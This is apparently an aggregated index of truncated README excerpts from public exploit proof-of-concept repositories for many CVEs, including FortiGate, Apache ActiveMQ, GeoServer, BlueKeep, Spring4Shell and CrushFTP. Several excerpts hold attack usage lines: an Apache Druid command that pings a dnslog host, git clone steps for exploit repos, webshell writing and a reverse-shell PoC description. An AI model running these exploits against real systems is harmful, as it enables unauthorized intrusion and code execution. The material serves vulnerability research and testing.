CVE-2024-21762

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 우리는 테러 단체 하마스에 의해 인질로 잡힌 모든 시민의 안전한 귀환을 요구합니다. 모든 인질이 석방되어 안전하게 집으로 돌아올 때까지 우리는 쉬지 않을 것입니다. 여러분도 그들을 집으로 데려오는 데 도움을 줄 수 있습니다.https://stories.bringthemhomenow.net/ CVE-2024-21762 이 PoC는 FortiGate에서 확인된 보안 결함을 악용하여 원격 코드 실행 가능성을 보여줍니다. CVE-2024-21762 PoC 💣 설명 이...

CVE-2018-20580

CVE-2018-20580 ReadyAPI 2.5.0/2.6.0 원격 코드 실행과 상호작용에 대한 개념 증명PoC 소개 2018년 12월, ReadyAPI에서 새로운 취약점을 발견했습니다. 이 취약점은 공격자가 로컬 시스템에서 원격 코드를 실행할 수 있게 하여 개발자, 침투 테스터 등 ReadyAPI 사용자를 위험에 빠뜨립니다. ReadyAPI는 사용자가 SOAP 프로젝트를 열고 WSDL 파일을 가져와 원격 서버와 쉽게 통신할 수 있도록 해줍니다. WSDL 파일 소유자는 일부 매개변수의 기본값을 지정할 수 있습니다. 공격자는...

CVE-2020-15227

CVE-2020-15227 면책조항! 나는 이 도구가 실제 환경에서 사용될 경우 아무런 책임도 지지 않으니 절대 하지 마세요. 이건 단지 데모용이고 시스템 관리자들이 테스트할 용도로 만들어진 것입니다. David Grudl Nette 재단의 창립자의 CVE 공개에 따라 이 익스플로잇을 제작했습니다. 그는 문제를 상당히 빠르게 해결하지 않았고, 보안 담당자들에게 가능한 침해를 검사할 수 있는 문서공격 방법를 제공하지 않았으며, 이를 은폐했습니다. 자, 이제 시작합니다. 보안 연구자로서 저는 물론 교육 및 시연 목적으로 작은 괴물...

CVE-2021-25646

Apache Druid 원격 코드 실행 CVE-2021-25646 by j2ekim 사용 방법 python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" 취약점 재현 글 https://www.adminxe.com/2109.html 사용 시 주의사항 이 도구의 전파·사용으로 인해 발생하는 직접적 또는 간접적 결과 및 손실에 대한 책임은 모두 사용자 본인에게 있으며, 저자는 이에 대해 어떠...

CVE-2020-1947

CVE-2020-1947 ApacheShardingShpereUIYAML 파싱 원격 코드 실행 취약점 재현 및 분석 개요 shardingsphere는 Apache의 오픈 소스 생태계로, 분산 데이터베이스 미들웨어 솔루션 세트이며, sharding-jdbc, sharding-proxy, sharding-sidecar 세 가지 독립적인 프레임워크로 구성되어 데이터 샤딩, 분산 트랜잭션, 데이터베이스 관리를 제공합니다. 영향을 받는 버전 ShardingSphere 4.0.0-RC3, 4.0.0...

CVE-2023-46604

CVE-2023-46604 이 저장소에는 Apache ActiveMQ의 취약점 CVE-2023-46604를 대상으로 하는 익스플로잇 스크립트와 개념 증명PoC XML 파일이 포함되어 있습니다. 이 취약점은 OpenWire 프로토콜 내의 안전하지 않은 역직렬화로 인해 원격 코드 실행을 허용합니다. 설명 CVE-2023-46604는 Apache ActiveMQ의 OpenWire 프로토콜에 존재하는 역직렬화 취약점입니다. 이 결함은 공격자가 ActiveMQ가 실행 중인 서버에서 임의의 코드를 실행하기 위해 악용될 수 있습니다. 이...

CVE-2021-43609-POC

Spiceworks Sort SQLi Spiceworks의 sort 매개변수에 SQLi가 존재합니다. 전체 익스플로잇 체인은 SQLi - 파일 읽기 - RCE입니다. 데모 전제 조건 apt update && apt install -y ruby-dev nodejs python3 python3-pip libsqlite3-dev pip3 install requests gem install bundler && cd rce && bundle install 1단계 poc.py를 사용하여 SQLi - 파일 읽기를 익스플로잇하고...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework 원격 코드 실행 취약점 CVE-2022-22965 취약점 재현 환경 docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 웹쉘 작성 참고: 검증 테스트 시 Shell은 한 번만 작성할 수 있습니다. 익스플로잇 스크립트 python CVE-2022-22965.py...

CVE-2025-471812-POC

/ | / | / / | / / / |/ // / / / / / / &password= 2. 서버는 "anonymous"를 인증하지만NULL에서 잘림 전체 페이로드가 세션 파일에 기록됨 → UID 쿠키 반환 3. GET /dir.html Cookie: UID= 서버가 세션 파일 로드 → 주입된 Lua 실행 → RCE 설치 git clone https://github.com/d3vn0mi/cve2025471812poc.git cd cve2025471812poc pip install requests 사용법 빠른 취약점 확인...

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin 概念実証 pgAdmin Query Tool RCE CVE-2025-2945 – Python 概念実証 ⚠️ 免責事項 このリポジトリには、CVE-2025-2945（pgAdmin 4 バージョン 9.2 未満における重大なリモートコード実行の脆弱性）の概念実証エクスプロイトが含まれています。このコードは、自分が所有する環境、または明示的なテスト許可を得た環境でのみ 使用してください。作者は、本ソフトウェアの誤用やそれによって生じたいかなる損害についても責任を負いません。 目次 1. 概要 2. 脆弱性の詳細...

CVE-2019-0708

CVE-2019-0708 非認証のCVE-2019-0708 "BlueKeep" スキャナーPoC（@JaGoTu と @zerosum0x0 による） 技術詳細: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit モジュール Metasploit モジュールは rapid7:master に取り込まれました。 msf5 use auxiliary/scanner/rdp/cve20190708bluekeep...

CVE-2025-56015

CVE-2025-56015 GenieACS RCE 개요 CVE-2025-56015 에 대한 개념 증명 익스플로잇입니다. 이는 GenieACS 에서 프로비저닝 컨텍스트 내에서 임의의 JavaScript 실행을 가능하게 하는 중요한 샌드박스 탈출 및 코드 삽입 취약점입니다. declare.constructor.constructor 프로토타입 체인을 이용하여 공격자는 제한된 JavaScript 환경을 탈출하고, 기본 Node.js childprocess 및 net 모듈에 접근하여 완전한 원격 코드 실행RCE을 달성할 수 있습니다...

CVE-2025-61304

CVE-2025-61304 「Dynatrace ActiveGate pingエクステンション（バージョン1.016まで）における、細工されたIPアドレスを介したOSコマンドインジェクションの脆弱性」 内部的に、pingエクステンションはWindowsのコマンドプロンプトを使用してpingを実行しています。テスト対象ホストの入力フィールドは1024文字の長さです。IPアドレスの後に'&'を使用するだけで、ActiveGateに実行させる追加コマンドを記述できます。 この脆弱性はDynatraceに報告され、以下のコミットで修正されました：...

CVE-2024-36401

CVE-2024-36401에 대한 RCE CVE-2024-36401 GeoServer에 대한 POC입니다. 이 POC는 대상으로부터 역방향 시스템 셸을 설정하려고 시도합니다. 개요 CVE-2024-36401에 대한 POC: GeoServer 2.25.1, 2.24.3 및 2.23.5 이전 버전의 GeoServer에 대한 RCE입니다. 이 POC는 phith0n의 보안 권고를 기반으로 합니다. 작동 방식 1. 대상으로부터 오는 역방향 셸을 수신하기 위해 사용자 시스템에 리스너를 설정합니다. 2. 이 POC는 페이로드와 함께 PO...

CVE-2024-4040

CVE-2024-4040 CVE-2024-4040은 CrushFTP 10.7.1 및 11.1.0 이전의 모든 버전에서 발견된 서버 측 템플릿 인젝션 취약점으로, 모든 플랫폼에서 인증되지 않은 원격 공격자가 VFS 샌드박스 외부의 파일 시스템에서 파일을 읽고, 인증을 우회하여 관리자 권한을 획득하며, 서버에서 원격 코드 실행을 수행할 수 있습니다. 설치 git clone https://github.com/gotr00t0day/CVE-2024-4040.git cd CVE-2024-4040 pip3 instrall -r...

CVE-2025-5688-FreeRTOS-Plus-TCP-Out-of-Bounds-Write

CVE-2025-5688 – FreeRTOS-Plus-TCP の Out-of-Bounds Write エクスプロイト リモートメモリ破損 / DoS / 潜在的なRCEトリガー 。FreeRTOS-Plus-TCPにおける、LLMNRまたはmDNSクエリ内の過度に長いDNS名を処理する際の脆弱性（バッファ割り当て方式1）。 エクスプロイト作成者: Mohammed Idrees Banyamer 国: ヨルダン Instagram: @banyamersecurity 日付: 2025年12月26日 概要 このPoCは、脆弱なバージョンの FreeRTOS-Plus-TCP...

CVE-2019-0708

CVE-2019-0708 BlueKeep Windows7 사전 인증 RCE POC 이 저장소는 Windows 원격 데스크톱 서비스RDS의 원격 코드 실행 버그를 시연합니다. 다음은 이전에 개발한 BlueKeep 취약점에 대한 POC 코드 및 기술 보고서입니다. 참고: 우리의 목표는 분석가가 중요 취약점에 대해 더 잘 이해할 수 있도록 돕는 것입니다. 사용 방법 전제 조건 익스플로잇 코드는 Python 3로 작성되었으며 PyRDP 라이브러리에 의존합니다. PyRDP 설치 가이드를 따라 설정해 주세요. 사용법 현재 익스플로잇은...

git_rce

CVE-2024-32002 PoC 1. git のシンボリックリンクオプションを次のように設定する必要があります: git config --global core.symlinks true 2. 次に、以下のコマンドで CVE-2024-32002 を悪用します: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.130 kali192.168.216.129 --Git...

CVE-2022-24086-RCE-PoC

CVE-2022-24086 RCE POC 소개 CVE-2022-24086은 Adobe가 "매우 제한된 공격에서 야생에서 악용되고 있다"고 확인한 취약점으로, 10점 만점에 9.8점의 심각도 점수를 받았으며, 이를 악용하는 공격자는 인증 없이 영향을 받는 시스템에서 원격 코드 실행을 달성할 수 있습니다. 현재 CVE-2022-24087로 추적되는 이슈도 동일한 심각도 점수를 가지며 공격에 활용될 때 동일한 결과를 초래할 수 있습니다. 둘 다 부적절한 입력 검증Improper Input Validation 취약점이며, Adobe는...